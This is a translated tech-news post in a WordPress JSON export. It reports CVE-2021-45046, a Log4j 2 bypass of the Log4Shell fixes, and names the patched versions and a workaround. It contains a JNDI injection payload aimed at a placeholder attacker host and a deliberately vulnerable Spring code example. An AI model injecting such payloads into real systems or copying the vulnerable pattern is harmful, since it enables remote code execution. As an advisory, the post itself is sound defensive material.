{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"A new variant of the attack on Log4j 2 allows bypassing the added protection.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Another vulnerability has been discovered in the JNDI substitution implementation in the Log4j 2 library (CVE-2021-45046), which manifests despite fixes added in release 2.15 and regardless of using the «log4j2.noFormatMsgLookup» configuration for protection. The issue primarily poses a risk to older versions of Log4j 2, which are secured by the «noFormatMsgLookup» flag, as it allows bypassing the protection against the previous vulnerability (Log4Shell, CVE-2021-44228) that enables code execution on the server. For users of version 2.15, exploitation is limited to creating conditions for application crashes due to resource exhaustion. <\/p>\n
The vulnerability is only manifested on systems where contextual lookups (Context Lookup) are used in logging, such as ${ctx:loginId}, or MDC patterns (Thread Context Map), for example, %X, %mdc, and %MDC. Exploitation involves creating conditions to log data containing JNDI substitutions when contextual lookups or MDC patterns that define the formatting rules for logging output are used in the application. <\/p>\n
Researchers from LunaSec noted that for Log4j versions lower than 2.15, this vulnerability can be utilized as a new attack vector for Log4Shell, leading to code execution if expressions from ThreadContext containing external data are used in logging, irrespective of the inclusion of the «noMsgFormatLookups» flag or the template «%m{nolookups}» for protection.
<\/center> <\/p>\n
Bypassing the protection involves substituting the expression «${jndi:ldap:\/\/attacker.com\/a}» not directly, but rather through an intermediate variable used in the log output formatting rules. For instance, if the log output uses the context variable ${ctx:apiversion}, an attack can be conducted by substituting the data «${jndi:ldap:\/\/attacker.com\/a}» into the value assigned to the variable apiversion. Example of vulnerable code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\\\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \n\t\t\/\/ The value of the HTTP header «X-Api-Version» is passed to ThreadContext\n\t\tThreadContext.put(«apiversion», apiVersion);\n\t\t\/\/ When logging, the external value apiversion will be processed using the substitution ${ctx:apiversion}\n\t\tlogger.info(«Received a request for API version»);\n\t\treturn «Hello, world!»;\n\t} <\/p>\n
In Log4j version 2.15, the vulnerability can be exploited to carry out DoS attacks by passing values to ThreadContext that lead to a loop in the processing of the formatting template.
<\/center> <\/p>\n
To block the vulnerability, updates 2.16 and 2.12.2 have been released. In the Log4j branch 2.16, in addition to the fixes implemented in version 2.15 and binding JNDI LDAP requests to 'localhost', JNDI functionality is completely disabled by default, and support for message substitution patterns has been removed. As a workaround for protection, it is suggested to remove the JndiLookup class from the classpath (for example, 'zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class'). <\/p>\n
![\"A](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"A](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n